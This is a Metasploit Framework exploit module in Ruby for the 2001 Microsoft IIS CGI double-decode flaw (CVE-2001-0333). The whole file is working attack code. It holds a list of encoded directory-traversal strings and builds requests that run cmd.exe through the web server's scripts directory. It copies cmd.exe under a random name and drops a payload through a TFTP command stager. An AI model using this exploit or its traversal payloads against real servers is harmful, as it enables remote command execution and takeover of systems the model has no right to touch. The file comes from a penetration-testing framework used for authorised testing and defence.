## # $Id: ms01_026_dbldecode.rb 9376 2010-05-26 22:46:10Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/proto/tftp' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerTFTP def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution', 'Description' => %q{ This module will execute an arbitrary payload on a Microsoft IIS installation that is vulnerable to the CGI double-decode vulnerability of 2001. NOTE: This module will leave a metasploit payload in the IIS scripts directory. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9376 $', 'References' => [ [ 'CVE', '2001-0333' ], [ 'OSVDB', '556' ], [ 'BID', '2708' ], [ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(80), OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptString.new('EXETEMPLATE', [ false, 'Use this EXE as a template for the command stager', File.join(Msf::Config.install_root, "data", "templates", "template_nt4.exe") ]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ]) ], self.class) end def dotdotslash possibilities = [ "..%255c", "..%%35c", "..%%35%63", "..%25%35%63", ".%252e/", "%252e./", "%%32%65./", ".%%32%65/", ".%25%32%65/", "%25%32%65./" ] possibilities[rand(possibilities.length)] end def mini_http_request(opts, timeout=5) connect req = '' req << opts['method'] req << ' ' req << opts['uri'] req << ' ' req << "HTTP/1.0\r\n" req << "Host: #{datastore['RHOST']}\r\n" req << "\r\n" sock.put(req) # This isn't exactly awesome, but it seems to work.. begin headers = sock.get_once(-1, timeout) body = sock.get_once(-1, timeout) rescue ::EOFError # nothing end if (datastore['DEBUG']) print_status("Headers:\n" + headers.inspect) print_status("Body:\n" + body.inspect) end disconnect [headers, body] end def check res = execute_command("dir") if (res.kind_of?(Array)) body = res[1] if (body and body =~ /Directory of /) return Exploit::CheckCode::Vulnerable end end Exploit::CheckCode::Safe end # # NOTE: the command executes regardless of whether or not # a valid response is returned... # def execute_command(cmd, opts = {}) uri = '/scripts/' exe = opts[:cgifname] if (not exe) uri << dotdotslash uri << dotdotslash uri << 'winnt/system32/cmd.exe' else uri << exe end uri << '?/x+/c+' uri << Rex::Text.uri_encode(cmd) if (datastore['VERBOSE']) print_status("Attemping to execute: #{uri}") end mini_http_request({ 'uri' => uri, 'method' => 'GET', }, 20) end def exploit # first copy the file exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" # NOTE: this assumes %SystemRoot% on the same drive as the web scripst directory res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}") if (datastore['CMD']) res = execute_command(datastore['CMD'], { :cgifname => exe_fname }) else execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) end print_status("NOTE: The copied cmd.exe and payload binaries must be deleted manually") # NOTE: We try to delete the copied exe here, although if the payload is running, # we probably can't delete it due to it being in use... execute_command("del #{exe_fname}") handler disconnect end end